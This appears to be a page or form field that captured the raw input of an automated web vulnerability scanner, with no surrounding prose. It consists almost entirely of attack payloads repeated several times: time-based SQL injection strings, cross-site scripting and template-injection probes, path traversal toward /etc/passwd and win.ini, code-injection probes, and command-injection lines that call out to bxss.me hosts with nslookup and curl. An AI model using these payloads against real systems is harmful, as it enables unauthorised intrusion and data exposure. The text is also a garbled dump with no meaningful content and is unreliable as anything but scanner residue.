20

  20

  555

  20

  20

  20

  @@yS8qx

  20����%2527%2522\'\"

  20'"

  20

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20ZtldEZZL')) OR 225=(SELECT 225 FROM PG_SLEEP(15))--

  20qMwg5eMy') OR 761=(SELECT 761 FROM PG_SLEEP(15))--

  204Jb9HlfC' OR 505=(SELECT 505 FROM PG_SLEEP(15))--

  20-1)) OR 174=(SELECT 174 FROM PG_SLEEP(15))--

  20-1) OR 370=(SELECT 370 FROM PG_SLEEP(15))--

  20-1 OR 702=(SELECT 702 FROM PG_SLEEP(15))--

  20d7cdOQPu')); waitfor delay '0:0:15' --

  20PbPLFlRd'); waitfor delay '0:0:15' --

  20U3JdNFtI'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2>(0+5+775-775) --

  -1" OR 3*2<(0+5+775-775) --

  -1" OR 3+775-775-1=0+0+0+1 --

  -1" OR 2+775-775-1=0+0+0+1 --

  -1' OR 3*2>(0+5+854-854) or 'MN2XeUEf'='

  -1' OR 3*2<(0+5+854-854) or 'MN2XeUEf'='

  -1' OR 3+854-854-1=0+0+0+1 or 'MN2XeUEf'='

  -1' OR 2+854-854-1=0+0+0+1 or 'MN2XeUEf'='

  -1' OR 3*2>(0+5+142-142) --

  -1' OR 3*2<(0+5+142-142) --

  -1' OR 3+142-142-1=0+0+0+1 --

  -1' OR 2+142-142-1=0+0+0+1 --

  -1 OR 3*2>(0+5+647-647)

  -1 OR 3*2<(0+5+647-647)

  -1 OR 3+647-647-1=0+0+0+1

  -1 OR 2+647-647-1=0+0+0+1

  -1 OR 3*2>(0+5+32-32) --

  -1 OR 3*2<(0+5+32-32) --

  -1 OR 3+32-32-1=0+0+0+1 --

  -1 OR 2+32-32-1=0+0+0+1 --

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20<iframe src="9869.com"></iframe>

  20

  20Bwuek

  20}body{zzz:Expre/**/SSion(yo6y(9167))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  20<input>

  �<img>

  20&lt;ScRiPt&gt;yo6y(9703)&lt;/sCripT&gt;

  20\u003CScRiPt\yo6y(9870)\u003C/sCripT\u003E

  %32%30%3C%53%63%52%69%50%74%20%3E%79%6F%36%79%289294%29%3C%2F%73%43%72%69%70%54%3E

  20<img src="&gt;">

  20<img src="xyz">

  20<img src="//xss.bxss.me/t/dot.gif">

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  20&lt;ScRiPt &gt;yo6y(9322)

  20

  20

  20

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%79%6F%36%79%28%39%34%34%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  209831

  20

  20

  20

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  20

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

 

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx8228%C0%BEz1%C0%BCz2a%90bcxhjl8228

  bfg2542%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2542

  20

  209615009

  '"()&amp;%

  20'"()&amp;%

  20

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitmieejqcvkha6d69.bxss.me||curl${IFS}hitmieejqcvkha6d69.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitmieejqcvkha6d69.bxss.me||curl${IFS}hitmieejqcvkha6d69.bxss.me)&amp;`'

  |(nslookup${IFS}-q${IFS}cname${IFS}hitnzbwevlldz52308.bxss.me||curl${IFS}hitnzbwevlldz52308.bxss.me)

  ;(nslookup -q=cname hitgdiclunuaz9ff3a.bxss.me||curl hitgdiclunuaz9ff3a.bxss.me)|(nslookup -q=cname hitgdiclunuaz9ff3a.bxss.me||curl hitgdiclunuaz9ff3a.bxss.me)&amp;(nslookup -q=cname hitgdiclunuaz9ff3a.bxss.me||curl hitgdiclunuaz9ff3a.bxss.me)

  `(nslookup -q=cname hitguobzpgxhv7dd90.bxss.me||curl hitguobzpgxhv7dd90.bxss.me)`

  ${9999765+10000184}

  |(nslookup -q=cname hitueyuzaamlde1017.bxss.me||curl hitueyuzaamlde1017.bxss.me)

  &amp;(nslookup -q=cname hitpvendanycc42dd8.bxss.me||curl hitpvendanycc42dd8.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitpvendanycc42dd8.bxss.me||curl hitpvendanycc42dd8.bxss.me)&amp;`'

  &amp;nslookup -q=cname hitflcmcmvdlh051e2.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitflcmcmvdlh051e2.bxss.me&amp;`'

  $(nslookup -q=cname hiturdwtryjxj5c6d7.bxss.me||curl hiturdwtryjxj5c6d7.bxss.me)

  (nslookup -q=cname hittrlswacmgpaf7a2.bxss.me||curl hittrlswacmgpaf7a2.bxss.me))

  20

  expr 9000834446 - 919013

  20|echo emnzjs$()\ dscazu\nz^xyu||a #' |echo emnzjs$()\ dscazu\nz^xyu||a #|" |echo emnzjs$()\ dscazu\nz^xyu||a #

 

  |echo wttdco$()\ mpnfxg\nz^xyu||a #' |echo wttdco$()\ mpnfxg\nz^xyu||a #|" |echo wttdco$()\ mpnfxg\nz^xyu||a #

  '"

  'A'.concat(70-3).concat(22*4).concat(112).concat(75).concat(113).concat(79)+(require'socket' Socket.gethostbyname('hitcc'+'maxvvbbn7876b.bxss.me.')[3].to_s)

  20&amp;echo pcveuk$()\ gygmmm\nz^xyu||a #' &amp;echo pcveuk$()\ gygmmm\nz^xyu||a #|" &amp;echo pcveuk$()\ gygmmm\nz^xyu||a #

  &amp;echo gvmjsp$()\ ftpbuu\nz^xyu||a #' &amp;echo gvmjsp$()\ ftpbuu\nz^xyu||a #|" &amp;echo gvmjsp$()\ ftpbuu\nz^xyu||a #

  '+'A'.concat(70-3).concat(22*4).concat(116).concat(67).concat(116).concat(69)+(require'socket' Socket.gethostbyname('hitei'+'akuglfdy4863d.bxss.me.')[3].to_s)+'

  echo fjexqg$()\ thealk\nz^xyu||a #' &amp;echo fjexqg$()\ thealk\nz^xyu||a #|" &amp;echo fjexqg$()\ thealk\nz^xyu||a #

  "+"A".concat(70-3).concat(22*4).concat(120).concat(83).concat(99).concat(68)+(require"socket" Socket.gethostbyname("hitdi"+"zdrzfwkj93f1b.bxss.me.")[3].to_s)+"

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  ${@print(md5(31337))}

  ";print(md5(31337));$a="

  ';print(md5(31337));$a='

  bxss.me

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  c:/windows/win.ini

  ../../../../../../../../../../../../../../etc/shells

  /etc/shells

  http://bxss.me/t/fit.txt%3F.jpg

  Http://bxss.me/t/fit.txt

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  20

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  20"||sleep(27*1000)*fhuedr||"

  20'||sleep(27*1000)*uhpzoc||'

  bxss.me/t/xss.html?%00

  HttP://bxss.me/t/xss.html?%00

  20"&amp;&amp;sleep(27*1000)*rvkwkv&amp;&amp;"

  20'&amp;&amp;sleep(27*1000)*yybflq&amp;&amp;'

  '"()

  20

  20

  gethostbyname(lc('hitmy'.'vicrlupb331a1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(84).chr(107).chr(71)

  20

  ".gethostbyname(lc("hitcd"."lliqpxyv165b5.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(87).chr(103).chr(81)."

  '.gethostbyname(lc('hityk'.'vuldfawx83043.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(75).chr(100).chr(67).'

  20

  20

  20

  ../20

  20

  20

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  +response.write(9968881*9276711)'

  20

  &lt;% response.write(9968881*9276711) %&gt;

  20

  ^(#$!@#$)(()))******

  "+response.write(9968881*9276711)+"

  '+response.write(9968881*9276711)+'

  20

  !(()&amp;&amp;!|*|*|

  20

  response.write(9968881*9276711)

  20

  )

  20

  20

  20

  20

  redirtest.acx

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  20

  20

  20

  20

  20

  20

  20

  @@HBjCP

  %C0%A7%C0%A2%2527%2522\'\"

  '"

  '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  *DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  Zd8iqws4')) OR 471=(SELECT 471 FROM PG_SLEEP(15))--

  FHsTl1PL') OR 436=(SELECT 436 FROM PG_SLEEP(15))--

  C0eWNqzj' OR 765=(SELECT 765 FROM PG_SLEEP(15))--

  -1)) OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  -1) OR 327=(SELECT 327 FROM PG_SLEEP(15))--

  -1 OR 115=(SELECT 115 FROM PG_SLEEP(15))--

  6XobUpKq')); waitfor delay '0:0:15' --

  lSTy2AdA'); waitfor delay '0:0:15' --

  8MyThVff'; waitfor delay '0:0:15' --

  -1 waitfor delay '0:0:15' --

  -1)); waitfor delay '0:0:15' --

  -1); waitfor delay '0:0:15' --

  -1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

  0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

  *if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2&gt;(0+5+912-912) --

  -1" OR 3*2&lt;(0+5+912-912) --

  -1" OR 3+912-912-1=0+0+0+1 --

  -1" OR 2+912-912-1=0+0+0+1 --

  -1' OR 3*2&gt;(0+5+473-473) or '72sM0IPy'='

  -1' OR 3*2&lt;(0+5+473-473) or '72sM0IPy'='

  -1' OR 3+473-473-1=0+0+0+1 or '72sM0IPy'='

 

  -1' OR 2+473-473-1=0+0+0+1 or '72sM0IPy'='

 

  -1' OR 3*2&gt;(0+5+857-857) --

 

  -1' OR 3*2&lt;(0+5+857-857) --

  <iframe src="9911.com"></iframe>

  -1' OR 3+857-857-1=0+0+0+1 --

 

  -1' OR 2+857-857-1=0+0+0+1 --

  TZsOf

  -1 OR 3*2&gt;(0+5+583-583)

  -1 OR 3*2&lt;(0+5+583-583)

  }body{zzz:Expre/**/SSion(qAhT(9660))}

  -1 OR 3+583-583-1=0+0+0+1

  <a></a>

  -1 OR 2+583-583-1=0+0+0+1

  -1 OR 3*2&gt;(0+5+59-59) --

  -1 OR 3*2&lt;(0+5+59-59) --

  <a href="http://xss.bxss.me"></a>

  <input>

  -1 OR 3+59-59-1=0+0+0+1 --

  %F6<img>

  -1 OR 2+59-59-1=0+0+0+1 --

  &lt;ScRiPt&gt;qAhT(9888)&lt;/sCripT&gt;

  \u003CScRiPt\qAhT(9375)\u003C/sCripT\u003E

  %0D%0A%3C%53%63%52%69%50%74%20%3E%71%41%68%54%289736%29%3C%2F%73%43%72%69%70%54%3E

  <img src="&gt;">

  <img src="xyz">

  <img src="//xss.bxss.me/t/dot.gif">

 

  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  <form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

 

  &lt;ScRiPt &gt;qAhT(9106)

 

 

  IpT&gt;

  9951

 

 

 

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

 

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx3039%C0%BEz1%C0%BCz2a%90bcxhjl3039

  bfg10767＜s1﹥s2ʺs3ʹhjl10767

  9527118

  '"()&amp;%

  '"()&amp;%

  ${9999164+9999049}

 

 

  index.php/.

  '"

  index.php

  index.php

  'A'.concat(70-3).concat(22*4).concat(104).concat(76).concat(112).concat(67)+(require'socket' Socket.gethostbyname('hitwt'+'vrwfmaho298d2.bxss.me.')[3].to_s)

  '+'A'.concat(70-3).concat(22*4).concat(103).concat(77).concat(120).concat(81)+(require'socket' Socket.gethostbyname('hitfn'+'wjwrywag1134f.bxss.me.')[3].to_s)+'

  bxss.me/t/xss.html?%00

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  "+"A".concat(70-3).concat(22*4).concat(108).concat(80).concat(97).concat(66)+(require"socket" Socket.gethostbyname("hitsq"+"twvjpjzu59e74.bxss.me.")[3].to_s)+"

  ${@print(md5(31337))}

  HttP://bxss.me/t/xss.html?%00

  ";print(md5(31337));$a="

  ';print(md5(31337));$a='

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  bxss.me

  c:/windows/win.ini

  ../../../../../../../../../../../../../../etc/shells

  /etc/shells

  http://bxss.me/t/fit.txt?.jpg

  Http://bxss.me/t/fit.txt

  gethostbyname(lc('hitfq'.'fysjdqbff2892.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(82).chr(107).chr(67)

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  "||sleep(27*1000)*mudiof||"

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  '||sleep(27*1000)*nixwsy||'

  ".gethostbyname(lc("hitky"."fkmekeieab257.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(76).chr(108).chr(70)."

  "&amp;&amp;sleep(27*1000)*aavvtb&amp;&amp;"

  '.gethostbyname(lc('hital'.'jptwreyq3852c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(86).chr(121).chr(72).'

  '&amp;&amp;sleep(27*1000)*isvtis&amp;&amp;'

  '"()

  ^(#$!@#$)(()))******

  !(()&amp;&amp;!|*|*|

  )

  redirtest.acx

  ./

  ../

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hiteeuzuyygca1d740.bxss.me||curl${IFS}hiteeuzuyygca1d740.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hiteeuzuyygca1d740.bxss.me||curl${IFS}hiteeuzuyygca1d740.bxss.me)&amp;`'

  |(nslookup${IFS}-q${IFS}cname${IFS}hitjikcfoexulefb13.bxss.me||curl${IFS}hitjikcfoexulefb13.bxss.me)

  ;(nslookup -q=cname hitrybauqtrud81608.bxss.me||curl hitrybauqtrud81608.bxss.me)|(nslookup -q=cname hitrybauqtrud81608.bxss.me||curl hitrybauqtrud81608.bxss.me)&amp;(nslookup -q=cname hitrybauqtrud81608.bxss.me||curl hitrybauqtrud81608.bxss.me)

  `(nslookup -q=cname hitqvjjvwruibca462.bxss.me||curl hitqvjjvwruibca462.bxss.me)`

  |(nslookup -q=cname hitakummiknfn1bf39.bxss.me||curl hitakummiknfn1bf39.bxss.me)

  &amp;(nslookup -q=cname hitqlsmctfprhe0018.bxss.me||curl hitqlsmctfprhe0018.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitqlsmctfprhe0018.bxss.me||curl hitqlsmctfprhe0018.bxss.me)&amp;`'

  &amp;nslookup -q=cname hitflcvgrkqdod969a.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitflcvgrkqdod969a.bxss.me&amp;`'

  $(nslookup -q=cname hityurnoimeyxa0ddb.bxss.me||curl hityurnoimeyxa0ddb.bxss.me)

  (nslookup -q=cname hitkbkhvvlamy119e2.bxss.me||curl hitkbkhvvlamy119e2.bxss.me))

  expr 9000538727 - 955227

  |echo oevkvr$()\ ybcwmc\nz^xyu||a #' |echo oevkvr$()\ ybcwmc\nz^xyu||a #|" |echo oevkvr$()\ ybcwmc\nz^xyu||a #

  &amp;echo cxxvtz$()\ gzjzuw\nz^xyu||a #' &amp;echo cxxvtz$()\ gzjzuw\nz^xyu||a #|" &amp;echo cxxvtz$()\ gzjzuw\nz^xyu||a #

  echo pyvove$()\ yvmlbb\nz^xyu||a #' &amp;echo pyvove$()\ yvmlbb\nz^xyu||a #|" &amp;echo pyvove$()\ yvmlbb\nz^xyu||a #

  +response.write(9052685*9041283)'

  &lt;% response.write(9052685*9041283) %&gt;

  "+response.write(9052685*9041283)+"

  '+response.write(9052685*9041283)+'

  response.write(9052685*9041283)

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  ctime sleep p0 (I30 tp1 Rp2 .

  555

  555

  555

  555

  20

  20

  20

  555

  @@vkCta

  20����%2527%2522\'\"

  20'"

  20

  555

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20WMH7xEEK')) OR 529=(SELECT 529 FROM PG_SLEEP(15))--

  555

  207ga3R7o9') OR 114=(SELECT 114 FROM PG_SLEEP(15))--

  20LNrlapK5' OR 652=(SELECT 652 FROM PG_SLEEP(15))--

  20-1)) OR 849=(SELECT 849 FROM PG_SLEEP(15))--

  20-1) OR 591=(SELECT 591 FROM PG_SLEEP(15))--

  20-1 OR 493=(SELECT 493 FROM PG_SLEEP(15))--

  205lW24Ypy')); waitfor delay '0:0:15' --

  20kNQn3E1F'); waitfor delay '0:0:15' --

  20Rl6BgVSi'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2&gt;(0+5+758-758) --

  -1" OR 3*2&lt;(0+5+758-758) --

  -1" OR 3+758-758-1=0+0+0+1 --

  -1" OR 2+758-758-1=0+0+0+1 --

  -1' OR 3*2&gt;(0+5+946-946) or 'CdPsjgMo'='

  -1' OR 3*2&lt;(0+5+946-946) or 'CdPsjgMo'='

  -1' OR 3+946-946-1=0+0+0+1 or 'CdPsjgMo'='

  -1' OR 2+946-946-1=0+0+0+1 or 'CdPsjgMo'='

  -1' OR 3*2&gt;(0+5+186-186) --

  -1' OR 3*2&lt;(0+5+186-186) --

  -1' OR 3+186-186-1=0+0+0+1 --

  -1' OR 2+186-186-1=0+0+0+1 --

  -1 OR 3*2&gt;(0+5+813-813)

  -1 OR 3*2&lt;(0+5+813-813)

  -1 OR 3+813-813-1=0+0+0+1

  -1 OR 2+813-813-1=0+0+0+1

  -1 OR 3*2&gt;(0+5+696-696) --

  -1 OR 3*2&lt;(0+5+696-696) --

  -1 OR 3+696-696-1=0+0+0+1 --

  -1 OR 2+696-696-1=0+0+0+1 --

  20

  20

  555

  555

  20

  555

  20

  20

  555

  555

  20

  @@BcLL5

  555%C0%A7%C0%A2%2527%2522\'\"

  555'"

  555

  555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  555t5U7zoe4')) OR 957=(SELECT 957 FROM PG_SLEEP(15))--

  555c9ETjz60') OR 217=(SELECT 217 FROM PG_SLEEP(15))--

  5550Er2UrIm' OR 878=(SELECT 878 FROM PG_SLEEP(15))--

  555-1)) OR 498=(SELECT 498 FROM PG_SLEEP(15))--

  555-1) OR 617=(SELECT 617 FROM PG_SLEEP(15))--

  555-1 OR 585=(SELECT 585 FROM PG_SLEEP(15))--

  555fRrhmQQh')); waitfor delay '0:0:15' --

  5551i0vYliF'); waitfor delay '0:0:15' --

  555OgOQleCi'; waitfor delay '0:0:15' --

  555-1 waitfor delay '0:0:15' --

  555-1)); waitfor delay '0:0:15' --

  555-1); waitfor delay '0:0:15' --

  555-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

  5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

  555*if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2&gt;(0+5+559-559) --

  -1" OR 3*2&lt;(0+5+559-559) --

  -1" OR 3+559-559-1=0+0+0+1 --

  -1" OR 2+559-559-1=0+0+0+1 --

  -1' OR 3*2&gt;(0+5+74-74) or 'SbyvWOZP'='

  -1' OR 3*2&lt;(0+5+74-74) or 'SbyvWOZP'='

  555

  -1' OR 3+74-74-1=0+0+0+1 or 'SbyvWOZP'='

  -1' OR 2+74-74-1=0+0+0+1 or 'SbyvWOZP'='

  555

  -1' OR 3*2&gt;(0+5+817-817) --

  -1' OR 3*2&lt;(0+5+817-817) --

  -1' OR 3+817-817-1=0+0+0+1 --

  555

  -1' OR 2+817-817-1=0+0+0+1 --

  -1 OR 3*2&gt;(0+5+602-602)

  20

  -1 OR 3*2&lt;(0+5+602-602)

  -1 OR 3+602-602-1=0+0+0+1

  -1 OR 2+602-602-1=0+0+0+1

  -1 OR 3*2&gt;(0+5+350-350) --

  -1 OR 3*2&lt;(0+5+350-350) --

  -1 OR 3+350-350-1=0+0+0+1 --

  20

  -1 OR 2+350-350-1=0+0+0+1 --

  555

  20

  555

  555

  555

  555

  555

  555

  20

  555

  555

  20

  555

  20

  555<iframe src="9910.com"></iframe>

  555

  20<iframe src="9564.com"></iframe>

  20

  555TxUcV

  555}body{zzz:Expre/**/SSion(COGm(9806))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  555<input>

  20GG4eE

  %F6<img>

  555&lt;ScRiPt&gt;COGm(9519)&lt;/sCripT&gt;

  20}body{zzz:Expre/**/SSion(Tpvt(9969))}

  555\u003CScRiPt\COGm(9510)\u003C/sCripT\u003E

  <a></a>

  <a href="http://xss.bxss.me"></a>

  %35%35%35%3C%53%63%52%69%50%74%20%3E%43%4F%47%6D%289895%29%3C%2F%73%43%72%69%70%54%3E

  555<img src="&gt;">

  555<img src="xyz">

  555<img src="//xss.bxss.me/t/dot.gif">

  20<input>

  555

  555<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  �<img>

  555<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  555

  20&lt;ScRiPt&gt;Tpvt(9516)&lt;/sCripT&gt;

  555&lt;ScRiPt &gt;COGm(9170)

  20\u003CScRiPt\Tpvt(9936)\u003C/sCripT\u003E

  555

  555

  555IpT&gt;

  %32%30%3C%53%63%52%69%50%74%20%3E%54%70%76%74%289614%29%3C%2F%73%43%72%69%70%54%3E

  5559169

  555

  555

  20<img src="&gt;">

  555

  555

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")